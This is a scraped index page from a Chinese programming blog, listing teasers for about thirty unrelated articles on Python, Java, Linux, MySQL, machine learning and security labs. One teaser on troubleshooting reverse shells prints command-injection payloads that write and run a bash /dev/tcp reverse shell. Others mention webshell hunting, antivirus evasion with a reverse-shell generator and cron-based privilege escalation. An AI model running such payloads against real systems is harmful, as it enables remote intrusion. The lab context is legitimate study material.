Python

个人向 godot 源码阅读 - 1 - 获取 / 编译源码

1 - 获取 / 编译源码 获取 最常见的方法便是从 GitHub 上拉取, 不过鉴于国内访问 GitHub 速度之慢, 可以采取个折中的方案: 先从 Gitee 上拉取: 然后更改 remote 地址: 再更新到最新的一个 commit: 那么目前, 源码就算拉完了, 不过我们是在的最新 commit 上, 难免出现各种 bug 以及重构中的代码, 所以我们查询最新的 stable 并切换

玄机应急响应-第一章

应急响应-webshell查杀 查杀方法1:d盾查杀 查杀方法2:grep -nr "eval" . 一,黑客webshell里面的flag flag $ root@ip-10-0-10-1:/var/www/html/include# cat gz.php flag{027ccd04-5065-48b6-a32d-77c704a5e26d} 二,黑客使用的什么工具的shell git

AI框架之Spring AI与Spring Cloud Alibaba AI使用讲解

目录1 AI框架1.1 Spring AI 简介1.2 Spring AI 使用1.2.1 pom.xml1.2.2 可实现的功能1.3 Spring Cloud Alibaba AI1.4 Spring Cloud Alibaba AI 实践操作1.4.1 pom.xml1.4.2 配置文件1.4.3 对接文本模型1.4.4 文生图模型1.4.5 语音合成模型 1 AI框架 1.1 Spring

Hershell反向shell生成器+msf加密通信免杀

简介 Hershell 1 Hershell(<a href="github.com/sysdream/hershell" target="_blank" rel="noopener">github.com/sysdream/hershell</a>)是基于golang开发的一款反向shell生成器,跨平台、流量加密、免杀

【python】 文件操作

【2024/6/6】 文件刪除保持 【解決】 一般删除文件时使用os库,然后利用os.remove(path)即可完成删除,如果删除空文件夹则可使用os.removedirs(path)即可, 但是如果需要删除整个文件夹,且文件夹非空时使用os.removedirs(path)就会报错了,此时可以使用shutil库,该库为python内置库,是一个对文件及文件夹高级操作的库,可以与os库互补完成一

Centos Stream 10 测试版下载:未来的RHEL10&Rocky Linux 10

简介 最近发现Centos最放出了Stream 10 测试版本,应该是基于Fedora 40构建的。未来红帽会基于此版本构建RHEL 10。 内核版本:6.9.0 Python版本:3.12.2 RHEL系发行版对应关系 Fedora (根发行版-软件实时更新-只支持一年) >>某一版本作为基准版本 ⏬ Centos Stream (长期稳定发行版-软件版本固定-RHEL的测试版-

反弹shell不成功排查

反弹不成功排查 今天遇到shell反弹不成功的问题,顺便记下来 0.低权限环境 /tmp写入bash反弹脚本执行 127.0.0.1| Echo ‘bash -i >& /dev/tcp/x.x.x.x/7777 0>&1’>/tmp/1.sh 127.0.0.1|bash /tmp/1.sh php反弹shell 127.0.0.1| php -r '

BUUCTF 23~26 wp

23 主动防御 首先拼接三段数据,然后与i异或,得到提示 然后连续十次base64编码,提示“found” 实际上并没有找到flag,而是一个网址 回到View-A视图,发现一个交叉引用 跟进发现关键字符‘f’,‘g’,逆推出v1,异或得出flag 24 Transform 将输入的flag放进Str,长度为33,如果414040的数据和Str的第40F040的数据相同,则继续i循环比较

SemanticKernel:添加插件

SemanticKernel介绍 Semantic Kernel是一个SDK,它将OpenAI、Azure OpenAI和Hugging Face等大型语言模型(LLMs)与C#、Python和Java等传统编程语言集成在一起。Semantic Kernel通过允许您定义插件来实现这一点,这些插件可以通过几行代码链接在一起。 为什么需要添加插件? 大语言模型虽然具有强大的自然语言理解和生成能力,

tkinter里使用button更新label图像

哪怕tkinter是面向玩具的gui界面,想当然的功能也不至于这么迥异啊,而解决的方式是如此的疑无路,再柳暗花明。 曾试着将adobe reader的默认视图设置为100%,无奈受限于屏幕高度,不管怎样调整设置,都撼不了82.7%,这是真撞墙了,故从昨下午就想着在python上做一个默认100%显示pdf的图形界面,为什么是python?对运行速度,界面美观没要求,能运行就行,python有现成的

机器视觉中常用图像处理库都有哪些?重点关注.net

  当需要做一些图像处理方面的学习和研究的时候,首要任务就是选择一套合适的图像处理类库,这期我们主要简单介绍下各家图像库的一些优缺点。OpenCV,Intel IPP,Halcon,MATLAB ,OpenGL,EmguCv,AForge.net,CxImage,FreeImage,paintlib,AGG,IPL,visDSK。不足之处,还请大家多多提建议,多谢! 1. OpenCV

java:数组和集合(例如ArrayList)的对比

问题:为什么java里有了array还要有arrayList?(相类比的:python里只有list没有array) 答案:因为arrayList是对array的补充,更灵活实用。 数组和arrayList都是一维的,但数组可以通过下标直接访问,arrayList只能通过遍历访问;数组能存储基本类型和对象,arrayList只能存对象;数组长度不可变,arrayList可扩容。 数组的优点: 数组

多设备兼容脚本,轻松拿捏

此文章来源于项目官方公众号:“AirtestProject” 版权声明:允许转载,但转载必须保留原链接;请勿用作商业或者非法用途 一、前言 有比较多同学有提到说能否一个脚本同时适用于Android跟iOS设备,也有同学问是否可以根据不同的Android厂商设备,去执行不同的操作,那么本周,我们一起探讨一下这个问题,如何让一个脚本兼容更多的机型~ 二、如何查询所连接的设备信息 2.1 简单分辨i

redis性能测试

环境 redis 7.2.5 主频 核心数 内存 2.5GHz 32 64GB 测试结论 当前场景下redis单线程、多线程表现差异不大 使用pipeline模式可以显著提高基准性能 非pipilie下redis性能再12~13w左右 pipiline下redis性能在35w左右 测试记录 单线程redis基准测试(只测试set,客户端与redis

【机器学习】朴素贝叶斯分类器

目录条件概率的定义和公式先验概率和后验概率使用朴素贝叶斯(Naive Bayes)算法检测垃圾邮件 源代码文件请点击此处! 条件概率的定义和公式 条件概率:事件 (B) 已发生条件下事件 (A) 发生的概率,记为 (P(A|B)),即 [P(A|B) = frac{P(AB)}{P(B)} ] 乘法定理: [P(AB) = P(A) P(B|A) ] 全概率公式: [begin{align

MySQL清空所有表的数据的方法

1.MySQL清空所有表的数据的方法 要清空MySQL数据库中所有表的数据,但保留表结构,我们可以采取以下几种方法。这里,我将提供几种常用的方法,并给出相应的SQL代码示例。 1.1方法一:使用TRUNCATE TABLE命令(针对每个表) TRUNCATE TABLE命令会删除表中的所有数据,但不会重置表的自增计数器(AUTO_INCREMENT),并且比使用DELETE命令更快,因为它不会记录

python 正则表达式使用简介和实用技巧

1. 元字符释义 . 代指任意字符 ^ 从字符串开始匹配 $ 匹配字符串的结尾 * 匹配前面挨着的字符,能匹配 0 到无穷次 + 同 *,能匹配 1 到无穷次(最少 1 个) ? 匹配前面挨着的字符,匹配 0 或 1 次 {} 自定义匹配次数, {1,6} 匹配 1 到 6 次, {6} 匹配 6 次(重复匹配前面挨着的字符) [] 匹配中括号中的任意字符, [x,y*] 匹配 x 或 y 或,

流畅的python--第八章 函数中的类型提示

关于渐进式类型 渐进式类型系统具有以下性质: 可选 默认情况下,类型检查工具不应对没有类型提示的代码发出警告。 当类型检查工具无法确定对象的类型时,会假定其为 Any 类型。Any 类 型与其他所有类型兼容。 不在运行时捕获类型错误 类型提示相关的问题由静态类型检查工具、lint 程序和 IDE 捕获。 在运行时不能阻止把不一致的值传给函数或分配给变量。 不能改善性能 类型注解提供的数据在理论上

在Linux中,如何进行系统性能的持续监控?

在Linux中进行系统性能的持续监控,需要综合运用各种命令行工具和图形化界面工具,以及自动化脚本和第三方监控平台。以下是实现持续监控的一些建议步骤和工具: 1. 使用基础命令行工具实时查看 top: 实时查看CPU使用率、内存占用、运行中的进程等基本信息。 htop(一个增强版的top): 提供更友好的界面,支持颜色编码,可以直接在界面上对进程进行操作。 vmstat: 查看虚拟内存统计、进程、

在Linux中,如何进行网络性能的峰值测试?

在Linux中,进行网络性能的峰值测试是一个重要的环节,可以帮助您了解系统在网络高负载下的性能表现。以下是进行网络性能峰值测试的详细步骤: 1. 确定测试目标和场景 明确测试目标:确定您想要测试的网络性能指标,如带宽、吞吐量、延迟、抖动等。 设定测试场景:考虑测试环境的实际情况,如客户端和服务器的配置、网络拓扑结构等。 2. 选择测试工具 iperf/iperf3:这是一个强大的网络性能测试

Linux 提权-Cron Jobs

本文通过 Google 翻译 Cron Jobs – Linux Privilege Escalation - Juggernaut-Sec 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。 导航 0 前言 1 什么是 Cron Job? 1.1 了解 Crontabs 和 Cron 目录 1.2 如何在 Crontab 文件中读取 Cron 作业 2

yolov5训练日志

    (wind_2021) J:PytorchProjectyolov5_train_car_2024060501> (wind_2021) J:PytorchProjectyolov5_train_car_2024060501>python train_20230320.py --img-size 640 --batch-size 2 --epochs 30

在Linux中,有哪些基本组件?

Linux系统由几个核心组件构成,这些组件协同工作,为用户提供了一个功能强大且灵活的操作环境。Linux的基本组件主要包括: 内核(Kernel): Linux内核是操作系统的核心部分,它是系统软件和硬件之间的桥梁。内核负责管理硬件资源(如CPU、内存、磁盘驱动器和网络接口),提供基本服务,如进程管理、内存管理、设备驱动、文件系统支持、以及网络通信功能。内核还实现了系统调用,允许用户空间的应

算法金 | 再见!!!KNN

大侠幸会,在下全网同名「算法金」 0 基础转 AI 上岸,多个算法赛 Top 「日更万日,让更多人享受智能乐趣」 KNN算法的工作原理简单直观,易于理解和实现,这使得它在各种应用场景中备受青睐。 我们将深入探讨KNN算法,从基本概念到实现细节,从算法优化到实际应用,我们都会一一展开。通过本文,你将了解到KNN算法的核心要点,以及如何将这一强大的工具应用到实际问题中。 第一部分:KNN算法

【Django Admin】自定义上传文件

Python全栈(后端、数据分析、脚本、爬虫、EXE客户端) / 前端(WEB,移动,H5) / Linux / SpringBoot / 机器学习

协程并发

在Python中,可以使用asyncio库来创建协程,并使用asyncio.gather来实现Golang风格的并发。  

『vulnhub系列』HACKABLE-II

『vulnhub系列』HACKABLE-II 下载地址: 信息搜集: 使用nmap探测存活主机,发现主机开启了21,22和80端口 访问80端口的web服务,发现apache默认页面 使用dirsearch进行目录爆破,发现files 目录 访问files 页面发现CALL.html 访问CALL.html发现只有一段话 这条路的线索暂时断了,我们使用匿名登录ftp,发现CALL.h

MySQL Shell 使用指南

前言: MySQL Shell 是官方提供的 MySQL 周边适配组件,是新一代的高级客户端,在 MySQL 8.0 及其以后的版本得以慢慢推广应用。之前笔者因为 MySQL 8.0 用得比较少,一直没有详细使用过这个工具,近期在捣鼓 MySQL 8.0,趁此机会,一起来学习下吧。 1.MySQL Shell 介绍与安装使用 MySQL Shell 是 MySQL 新一代的高级客户端和代码编辑器,

[转帖]Python简介

阅读目录 1.Python的产生和发展 1.1.Python介绍 1.2.Python发展史 2.Python的应用领域 2.1.技术领域 2.2.行业应用 3.Python的特点及优缺点 3.1.Python语言的特点 3.2.Python的优缺点 拓展:编程语言分类及特点简介 4.Python解释器 4.1.CPython 4.2.IPython 4.3.PyP

ibis python dataframe 库

ibis是一个 python dataframe 库 包含的特性 对 20 多个后端使用相同的 API 具有嵌入式 DuckDB(默认)、Polars 或 DataFusion 的快速本地数据帧 修改一行代码即可本地迭代、远程部署 编写 SQL 和 Python 数据框代码,弥合数据工程和数据科学之间的差距 参考使用 初始化 poetry new first poet

<<  <  203  204  205  206  207  208  209  210  211  212  213  >  >>